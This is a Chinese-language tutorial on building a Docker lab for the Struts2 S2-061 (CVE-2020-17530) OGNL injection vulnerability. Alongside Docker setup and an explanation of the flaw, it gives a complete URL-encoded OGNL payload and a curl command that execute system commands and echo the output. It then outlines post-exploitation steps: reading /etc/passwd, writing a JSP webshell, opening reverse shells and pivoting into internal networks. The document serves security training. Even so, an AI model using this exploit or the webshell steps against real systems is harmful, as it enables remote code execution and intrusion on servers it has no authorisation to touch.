Docker快速搭建Struts2 S2-061漏洞靶场与OGNL注入实战

1. 项目概述与核心价值最近在整理内部安全培训材料发现很多新同学对经典的Struts2漏洞理解还停留在“知道名字”的阶段动手复现时总被环境搭建、依赖冲突这些琐事绊住脚。这让我想起当年自己踩过的坑一个简单的漏洞验证可能半天时间都耗在配环境上。所以我决定把这次用Docker容器化技术快速搭建Struts2 S2-061漏洞靶场的完整过程记录下来并附上可立即验证的POC。这不仅仅是一个“一键搭建”的脚本集合更是一次深入理解漏洞原理、掌握高效安全研究方法的实战演练。S2-061是Struts2框架中一个典型的OGNL表达式注入漏洞它允许攻击者在特定条件下远程执行代码。对于安全研究人员、渗透测试工程师和应用开发人员来说亲手搭建一个可控的漏洞环境进行测试是理解漏洞触发链、评估风险影响最直接有效的方式。传统搭建方式需要手动部署Java Web服务器、下载特定版本的Struts2库、配置web.xml步骤繁琐且容易因环境差异导致失败。而Docker的引入彻底改变了这一局面它将应用及其所有依赖打包成一个标准化的镜像实现了“一次构建处处运行”。这个实战指南的核心价值在于“快速”和“完整”。你不需要预先在本地安装复杂的Java开发环境甚至不需要关心操作系统是Windows、macOS还是Linux。只要你的机器上安装了Docker跟随本文的步骤通常在10分钟内就能获得一个干净、独立、可反复破坏和重置的S2-061漏洞靶场。更重要的是我会带你从零开始编写Dockerfile理解每一个指令的作用而不仅仅是运行一个现成的命令。同时我会提供一个清晰、可工作的POC并解释其背后的OGNL表达式构造逻辑让你不仅会“打”更明白“为什么能打”。无论你是想巩固Struts2漏洞知识体系还是急需一个环境进行安全工具测试这篇文章都能提供一条直达目标的路径。2. 环境准备与Docker基础配置在开始构建靶场之前我们需要确保Docker环境就绪。虽然标题是“快速搭建”但“工欲善其事必先利其器”一个正确配置的Docker环境是后续所有操作的基础。这里我会覆盖Windows、macOS和Linux三大平台的关键注意事项特别是新手最容易踩坑的几个点。2.1 Docker安装与验证对于Windows和macOS用户最省心的方式是直接安装Docker Desktop。它提供了一个图形化界面并集成了Docker Engine、Docker CLI以及Kubernetes。从官网下载安装包后基本上一直点击“下一步”即可。但安装完成后有一个至关重要的步骤启用虚拟化。很多人在启动Docker Desktop时遇到“Starting the Docker Engine...”卡住或报错“Virtualization support not detected”其根本原因通常是BIOS/UEFI设置中的虚拟化技术如Intel VT-x或AMD-V没有开启。你需要重启电脑进入BIOS设置找到相关选项通常在“Advanced”或“Security”标签页下并启用它。对于Linux用户如Ubuntu、CentOS通过包管理器安装是标准做法。以Ubuntu为例可以运行以下命令组。这里的关键是使用官方仓库而非默认的过时版本并记得将当前用户加入docker用户组以避免每次命令都要加sudo。# 更新软件包索引并安装依赖 sudo apt-get update sudo apt-get install ca-certificates curl gnupg # 添加Docker官方GPG密钥 sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod ar /etc/apt/keyrings/docker.gpg # 设置稳定版仓库 echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release echo $VERSION_CODENAME) stable | \ sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 安装Docker Engine sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin # 将当前用户加入docker组需要重新登录生效 sudo usermod -aG docker $USER安装完成后无论在哪个平台都请打开终端Windows用户可使用PowerShell或WSL2终端运行以下命令验证安装是否成功docker --version docker run hello-world如果能看到Docker版本信息以及“Hello from Docker!”的欢迎消息说明你的Docker引擎已经正常运行。2.2 配置镜像加速器直接从Docker Hub拉取镜像在国内网络环境下速度可能很慢甚至失败。配置一个国内的镜像加速器是提升体验的关键一步。这里以阿里云镜像加速器为例其他服务商如腾讯云、网易云的配置逻辑类似。首先你需要注册一个阿里云账号然后在“容器镜像服务”控制台找到“镜像加速器”页面它会给你一个专属的加速器地址格式通常为https://xxxx.mirror.aliyuncs.com。对于Docker Desktop用户Windows/macOS点击系统托盘或菜单栏的Docker图标选择“Settings”或“Preferences”。找到“Docker Engine”配置项。在JSON配置中找到或添加registry-mirrors键将你的加速器地址填入数组。配置示例如下{ registry-mirrors: [https://xxxx.mirror.aliyuncs.com] }点击“Apply Restart”使配置生效。对于Linux用户 编辑或创建Docker守护进程的配置文件/etc/docker/daemon.jsonsudo tee /etc/docker/daemon.json -EOF { registry-mirrors: [https://xxxx.mirror.aliyuncs.com] } EOF然后重启Docker服务使配置生效sudo systemctl daemon-reload sudo systemctl restart docker配置完成后可以运行docker info命令在输出中查找Registry Mirrors项确认加速器地址已生效。这个步骤能让你后续拉取Tomcat、Java等基础镜像的速度飞起节省大量等待时间。注意镜像加速器仅用于加速公共镜像的拉取。我们后续自己构建的靶场镜像是基于这些基础镜像的所以加速器对整体构建流程的提速效果非常明显。3. 靶场镜像构建从Dockerfile到可运行容器有了Docker环境我们就可以开始动手打造专属的S2-061漏洞靶场了。核心在于编写一个Dockerfile它像一份食谱详细定义了如何从基础原料基础镜像开始一步步加工最终做出我们想要的“菜”靶场应用。我选择从最基础的tomcat:9-jre8镜像开始构建因为它已经包含了Java运行环境和Tomcat服务器与我们靶场一个Struts2 Web应用的依赖完美匹配。3.1 编写Dockerfile详解创建一个空的工作目录例如struts2-s2-061-lab并在其中创建Dockerfile文件无后缀名。下面是完整的Dockerfile内容我会逐段解释其设计意图和关键细节。# 使用官方Tomcat 9 JRE 8镜像作为基础轻量且兼容Struts2所需环境 FROM tomcat:9-jre8 # 设置维护者标签可选但建议保留以标识镜像作者 LABEL maintaineryour-emailexample.com # 定义环境变量便于后续维护和调整 ENV STRUTS_VERSION2.5.26 \ CATALINA_HOME/usr/local/tomcat # 切换到Tomcat的webapps目录这是部署Web应用的标准位置 WORKDIR $CATALINA_HOME/webapps # 下载特定版本的Struts2 Showcase应用该应用包含易受攻击的示例 # 使用curl的-L参数跟随重定向-o参数指定输出文件名 RUN curl -L https://archive.apache.org/dist/struts/2.5.26/struts-2.5.26-all.zip -o struts2.zip \ unzip struts2.zip \ cp struts-2.5.26/apps/struts2-showcase.war ./ \ rm -rf struts2.zip struts-2.5.26 \ # 解压WAR包Tomcat会自动部署解压后的目录 unzip -q struts2-showcase.war -d struts2-showcase \ rm struts2-showcase.war # 暴露Tomcat默认的HTTP端口 EXPOSE 8080 # 设置容器启动时默认执行的命令以前台模式启动Tomcat CMD [catalina.sh, run]关键指令解析与避坑指南FROM tomcat:9-jre8选择这个镜像而非tomcat:9-jdk8是因为我们只需要运行环境JRE不需要编译环境JDK这样可以显著减小最终镜像的体积。9和jre8的标签确保了Tomcat和Java版本的确定性避免因版本差异导致兼容性问题。ENV STRUTS_VERSION2.5.26将版本号定义为环境变量是一个好习惯。如果未来需要测试其他版本如2.5.25的S2-061只需修改这一处变量值然后调整RUN指令中的下载链接即可提高了Dockerfile的可维护性。RUN指令的链式操作这是Dockerfile优化的核心技巧。我将下载、解压、复制、清理等多个命令用 \连接成一个RUN指令。Docker镜像的每一层都是只读的每一条RUN、COPY、ADD指令都会创建一个新的镜像层。通过链式操作我们将多个临时文件的创建和删除放在同一层最终镜像中不会留下struts2.zip、struts-2.5.26目录等中间文件有效控制了镜像的层数和体积。最后删除struts2-showcase.war包是因为Tomcat部署解压后的目录即可保留WAR包是多余的。EXPOSE 8080这是一个声明性指令它告诉Docker该容器在运行时监听8080端口。但这并不会自动将端口映射到宿主机。实际的端口映射需要在运行容器时通过-p参数指定。CMD [catalina.sh, run]使用exec格式的CMD指令。catalina.sh run是启动Tomcat并以前台进程运行的标准命令。这一点至关重要如果Tomcat以后台进程启动容器会因为主进程结束而立即退出。前台运行模式保证了容器生命周期与Tomcat进程绑定。3.2 构建镜像与运行容器编写好Dockerfile后打开终端进入struts2-s2-061-lab目录执行构建命令docker build -t struts2-s2-061-lab:latest .-t参数为镜像打上标签格式为name:tag。这里我们命名为struts2-s2-061-lab标签为latest。命令最后的.表示Dockerfile所在的当前目录是构建上下文。构建过程会依次执行Dockerfile中的指令。由于配置了镜像加速器拉取基础镜像tomcat:9-jre8会很快。构建成功后可以使用docker images命令查看本地已有的镜像应该能看到刚构建好的struts2-s2-061-lab。接下来运行这个镜像创建一个容器实例docker run -d -p 8080:8080 --name s2-061-test struts2-s2-061-lab:latest-d让容器在后台运行detached mode。-p 8080:8080进行端口映射。格式为宿主机端口:容器端口。这里将宿主机的8080端口映射到容器的8080端口。你可以根据需要修改宿主机端口例如-p 8888:8080。--name为容器指定一个易记的名字s2-061-test方便后续管理。运行后在浏览器中访问http://localhost:8080/struts2-showcase/。如果看到Struts2 Showcase应用的欢迎页面恭喜你漏洞靶场的基础环境已经成功启动并运行了你可以通过docker ps查看运行中的容器通过docker logs s2-061-test查看Tomcat的启动日志。实操心得在构建过程中如果某一步失败比如网络超时导致下载失败Docker会缓存已成功执行的层。修复问题如网络恢复后重新构建会从失败的那一层开始而不是从头开始这能节省大量时间。你可以通过docker build --no-cache .命令强制清除缓存进行全新构建。4. S2-061漏洞原理深度解析与POC构造在开始测试之前我们必须搞清楚S2-061到底是什么以及它为什么能被利用。知其然更要知其所以然这样才能在漏洞挖掘和防御中举一反三。S2-061CVE-2020-17530是Struts2框架在2020年披露的一个安全漏洞它本质上是S2-059的绕过和补丁不完整导致的新的OGNL表达式注入点。4.1 OGNL表达式注入与Struts2的运作机制要理解S2-061必须先理解OGNL和Struts2的标签机制。OGNLObject-Graph Navigation Language是Struts2中用于在视图层JSP和控制器层Action之间绑定和传输数据的强大表达式语言。它功能强大可以访问和修改Java对象属性、调用方法等。Struts2的UI标签如s:textfield、s:label有一个id和name属性。在解析JSP页面时Struts2会将这些属性值作为OGNL表达式进行二次计算evaluation以便动态地生成HTML元素的id和name。设计初衷是为了实现动态绑定例如name”user.${property}”。然而问题就出在这个“二次计算”上。如果攻击者能够控制这些属性的值并且框架没有对输入进行严格的过滤那么攻击者注入的OGNL表达式就会被执行。Struts2框架运行在服务端且通常具有较高的权限因此执行OGNL表达式可能意味着远程代码执行。4.2 S2-061漏洞的触发路径S2-061的触发点在于Struts2的“强制OGNL解析”机制。在某些标签属性特别是id属性的解析过程中即使属性值被单引号或双引号包裹如果其中包含了%{...}语法Struts2仍然会尝试将其中的内容作为OGNL表达式进行解析。一个典型的脆弱代码片段在JSP中可能看起来是这样的s:textfield labelDescription namedescription id%{description}/这里id属性的值%{description}直接来自于用户可控的description变量。攻击者提交的description参数值不再是一个普通的字符串而是一段恶意的OGNL表达式例如%{(#application)}。当Struts2渲染这个标签时它会解析%{description}取出其中的值然后再次将这个值作为OGNL表达式进行解析从而执行了攻击者注入的代码。S2-059的补丁试图通过加强过滤来修复此问题但S2-061发现了一种绕过方式当OGNL表达式被强制解析时通过特定的语法构造例如使用#号访问值栈、静态方法调用等可以绕过补丁的过滤规则重新实现RCE。4.3 完整POC构造与解释理解了原理我们就可以构造攻击载荷了。以下是一个针对我们搭建的Struts2 2.5.26 Showcase靶场的POC。这个POC的目标是执行系统命令id并将结果输出到HTTP响应中。POC HTTP请求示例POST /struts2-showcase/integration/saveGangster.action HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 580 nameVulnerableage25__checkbox_bustedBeforetruedescription%25%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a.getInputStream%28%29%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%29%7DbustedBeforetruesubmitSavePOC关键参数解码与分析这个看起来混乱的description参数值实际上是经过URL编码的。解码后其核心OGNL表达式如下%{(#_memberAccess[allowStaticMethodAccess]true,#ajava.lang.RuntimegetRuntime().exec(id),#bnew java.io.InputStreamReader(#a.getInputStream()),#cnew java.io.BufferedReader(#b),#dnew char[50000],#c.read(#d),#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close())}让我们拆解这个“攻击链”#_memberAccess[allowStaticMethodAccess]true这是一个关键的“开关”。在Struts2的安全沙箱配置下默认禁止通过OGNL调用静态方法。这一步修改了安全成员访问器的属性允许静态方法调用为后续利用铺平道路。这是绕过早期沙箱限制的常见手法。#ajava.lang.RuntimegetRuntime().exec(id)调用Java的Runtime.getRuntime()静态方法获取运行时实例然后执行系统命令id。命令执行的结果是一个Process对象。#bnew java.io.InputStreamReader(#a.getInputStream())获取上一步Process对象的输出流并将其包装成InputStreamReader以便读取命令执行的输出。#cnew java.io.BufferedReader(#b)进一步包装成BufferedReader提高读取效率。#dnew char[50000], #c.read(#d)创建一个字符数组作为缓冲区并将命令输出读入这个数组。#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter()从Struts2的上下文#context中获取当前HTTP响应的PrintWriter对象。这是将命令执行结果回显给攻击者的关键。#genxor.println(#d), #genxor.flush(), #genxor.close()将缓冲区中的命令输出写入HTTP响应并刷新、关闭流。整个表达式用逗号分隔多个语句最后用%{...}包裹作为一个整体被Struts2解析执行。攻击者只需将exec(id)中的命令替换为其他系统命令如whoami、ls -la等即可实现任意命令执行。注意事项这个POC是针对Struts2 2.5.26及特定配置Showcase应用构造的。在实际的漏洞利用中需要根据目标Struts2的版本、启用的拦截器、安全配置等因素调整Payload。例如更高版本或经过安全加固的环境可能已禁用allowStaticMethodAccess或者对#context的访问进行了限制这就需要寻找其他的利用链比如通过创建El表达式解析器等方式。5. 漏洞验证实战与结果分析理论说得再多不如亲手试一下。现在我们就用构建好的靶场和准备好的POC来一场真实的漏洞验证。我将使用最通用的curl命令行工具进行测试你也可以使用Burp Suite、Postman等图形化工具原理完全相同。5.1 使用cURL发送攻击请求确保你的靶场容器正在运行docker ps查看状态。打开终端执行以下命令curl -i -s -k -X POST \ -H Content-Type: application/x-www-form-urlencoded \ --data-binary nameTestage30__checkbox_bustedBeforetruedescription%25%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a.getInputStream%28%29%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%29%7DbustedBeforetruesubmitSave \ http://localhost:8080/struts2-showcase/integration/saveGangster.action命令参数解释-i显示响应头信息有助于调试。-s静默模式不显示进度或错误信息以外的内容。-k忽略SSL证书验证本例未使用HTTPS但加上无害。-X POST指定使用POST方法。-H设置请求头这里设置内容类型为表单格式。--data-binary发送POST数据体这里包含了我们构造的恶意参数。注意POC中的Payload已经进行了URL编码直接粘贴即可。最后的URL是靶场中存在漏洞的端点。5.2 结果解读与漏洞确认执行命令后如果漏洞存在且利用成功你将在终端看到类似以下的响应省略了部分HTTP头部HTTP/1.1 200 Content-Type: text/html;charsetUTF-8 ... !DOCTYPE html html ... !-- 在HTML页面的某个位置你会看到命令执行的结果 -- uid1000(tomcat) gid0(root) groups0(root) ... /html关键信息是那一行uid1000(tomcat) gid0(root) groups0(root)。这明确显示了系统命令id被执行并且返回了结果。它告诉我们当前Tomcat进程是以tomcat用户身份运行但属于root组。这证实了S2-061漏洞在该环境中真实存在并且可以实现远程命令执行。5.3 深入分析与场景扩展拿到RCE权限后攻击者的行动路径就非常多了。我们可以通过修改POC中的命令来探索更多可能性信息收集whoami确认当前用户。pwd查看当前工作目录。ls -la /列出根目录了解服务器文件结构。cat /etc/passwd查看系统用户列表在Linux系统上。ifconfig或ip addr查看网络配置。权限提升尝试如果Tomcat是以高权限如root运行那么攻击者获取的shell就拥有同等权限。即使不是root攻击者也可能利用系统内核漏洞或配置不当进行提权。持久化与横向移动写入Webshell可以通过命令向Web目录写入一个JSP木马文件例如echo ‘% out.println(“hello”); %’ /usr/local/tomcat/webapps/ROOT/shell.jsp。之后攻击者就可以通过浏览器访问这个shell使用更友好的界面执行命令。反弹Shell在攻击者控制的服务器上监听一个端口然后通过靶场执行命令让靶场服务器主动连接攻击者建立一个反向的Shell连接。这通常需要用到bash、ncnetcat或python等。内网探测如果靶场服务器处于内网攻击者可以进一步利用它作为跳板扫描和攻击内网中的其他机器。安全警告与法律边界以上所有攻击手法描述仅限于在你个人完全可控的、合法授权的靶场环境中进行学习和研究。未经授权对任何系统进行漏洞扫描、渗透测试或攻击都是非法行为将面临严重的法律后果。搭建这个靶场的唯一目的是帮助安全从业者在安全的环境下理解漏洞、验证安全工具、提升防御能力。6. 靶场管理、问题排查与进阶玩法一个成熟的靶场不仅要能搭建起来还要便于管理和维护并且在出现问题时能快速定位。此外我们还可以基于这个基础镜像玩出更多花样满足不同的学习和测试需求。6.1 容器与镜像的日常管理掌握一些基本的Docker命令能让你的靶场实验更加高效。# 查看正在运行的容器 docker ps # 查看所有容器包括已停止的 docker ps -a # 停止运行中的靶场容器 docker stop s2-061-test # 启动已停止的容器 docker start s2-061-test # 重启容器先停止再启动 docker restart s2-061-test # 进入正在运行的容器内部获取一个shell docker exec -it s2-061-test /bin/bash # 进入后你可以查看Tomcat日志/usr/local/tomcat/logs/修改配置文件或者手动探索文件系统。 # 删除容器必须先停止 docker rm s2-061-test # 删除镜像必须先删除依赖它的所有容器 docker rmi struts2-s2-061-lab:latest # 将当前容器状态保存为新的镜像适用于对环境做了修改并想保留时 docker commit s2-061-test my-customized-lab:v1一个非常重要的技巧数据持久化。默认情况下容器内产生的数据如上传的文件、修改的配置会随着容器的删除而消失。如果你希望保留Tomcat的日志、或者你写入的Webshell可以使用Docker的“数据卷”功能。# 运行容器时将宿主机的目录挂载到容器内的Tomcat日志目录 docker run -d -p 8080:8080 -v /path/on/host/logs:/usr/local/tomcat/logs --name s2-061-test struts2-s2-061-lab:latest这样容器内的日志文件就会实时同步到宿主机的/path/on/host/logs目录下即使容器被删除日志文件依然保留在宿主机上。6.2 常见问题与排查实录在搭建和测试过程中你可能会遇到以下问题问题1访问http://localhost:8080显示“无法连接”或“连接被拒绝”。排查步骤检查容器状态运行docker ps确认s2-061-test容器的状态是“Up”。如果是“Exited”用docker logs s2-061-test查看启动失败的原因。常见原因是端口冲突宿主机8080端口已被占用。检查端口映射确认运行命令中-p参数是否正确例如是否是-p 8080:8080。尝试改用其他端口如-p 8888:8080然后访问http://localhost:8888。检查防火墙宿主机防火墙如Windows Defender防火墙、Linux的iptables/ufw可能阻止了端口访问。确保宿主机对应端口已开放。问题2访问应用首页正常但提交POC后没有命令执行结果回显。排查步骤查看容器日志运行docker logs --tail 100 s2-061-test查看Tomcat最近100行日志。重点查找ERROR或与OGNL相关的异常信息。可能原因是Struts2版本不完全匹配或者Showcase应用的具体处理逻辑有差异。验证POC编码确保你发送的POST数据中的Payload是正确URL编码的。在Burp Suite中可以对比“原始”视图和“解码”视图。在curl命令中如果手动拼接务必注意特殊字符的转义。尝试简化POC先使用一个最简单的OGNL表达式测试漏洞点是否通例如description%25%7B1%2B1%7D即%{11}看页面中对应位置是否被渲染为“2”。如果基础表达式都不执行说明漏洞点可能不对或环境有问题。检查网络代理如果你使用了Burp Suite等代理工具确保其拦截功能没有误删或修改请求。问题3命令执行了但回显乱码或看不到输出。原因与解决这通常是因为命令执行的输出中包含特殊字符或者HTTP响应被HTML页面其他内容包裹。可以尝试在POC中将命令输出写入一个文件然后通过其他方式读取。或者使用反弹Shell的方式输出会更清晰。6.3 靶场进阶构建漏洞矩阵与自动化测试单一的S2-061靶场可能还不够过瘾。我们可以利用Docker的灵活性轻松构建一个包含多个Struts2历史漏洞版本的“漏洞矩阵”。多版本Dockerfile创建多个Dockerfile例如Dockerfile-2.5.26、Dockerfile-2.5.25、Dockerfile-2.3.37分别修改ENV STRUTS_VERSION和对应的下载链接。然后分别构建成不同标签的镜像struts2-lab:2.5.26、struts2-lab:2.5.25等。使用Docker Compose编排编写一个docker-compose.yml文件可以一键启动多个不同版本的靶场容器并映射到宿主机的不同端口。version: 3 services: s2-061: build: . ports: - 8081:8080 s2-059: build: context: . dockerfile: Dockerfile-2.5.25 ports: - 8082:8080运行docker-compose up -d即可同时启动两个靶场。集成自动化扫描工具你可以将靶场作为自动化漏洞扫描器如Nuclei、Xray、AWVS等的测试目标。将扫描器也容器化通过Docker网络让它们与靶场容器互联即可实现自动化的漏洞检测流程验证和扫描器规则有效性测试。这个用Docker搭建Struts2 S2-061漏洞靶场的项目从环境准备、镜像构建、原理剖析到实战验证完整地走通了一遍。它最大的优势在于隔离性和可复现性。无论你的主机环境多么复杂这个靶场都能在一个纯净的容器中运行测试完毕用docker rm -f一键清理不留任何痕迹。对于需要频繁搭建测试环境的安全研究员来说这能节省大量生命。在实际操作中我强烈建议你不要止步于运行我给出的POC。尝试去修改它比如执行不同的系统命令尝试写入一个文件或者研究如何在更严格的安全配置下如allowStaticMethodAccess被禁用寻找新的利用路径。只有通过这种主动的探索和试错你对漏洞的理解才会从“知道”深化为“懂得”才能真正转化为你的实战能力。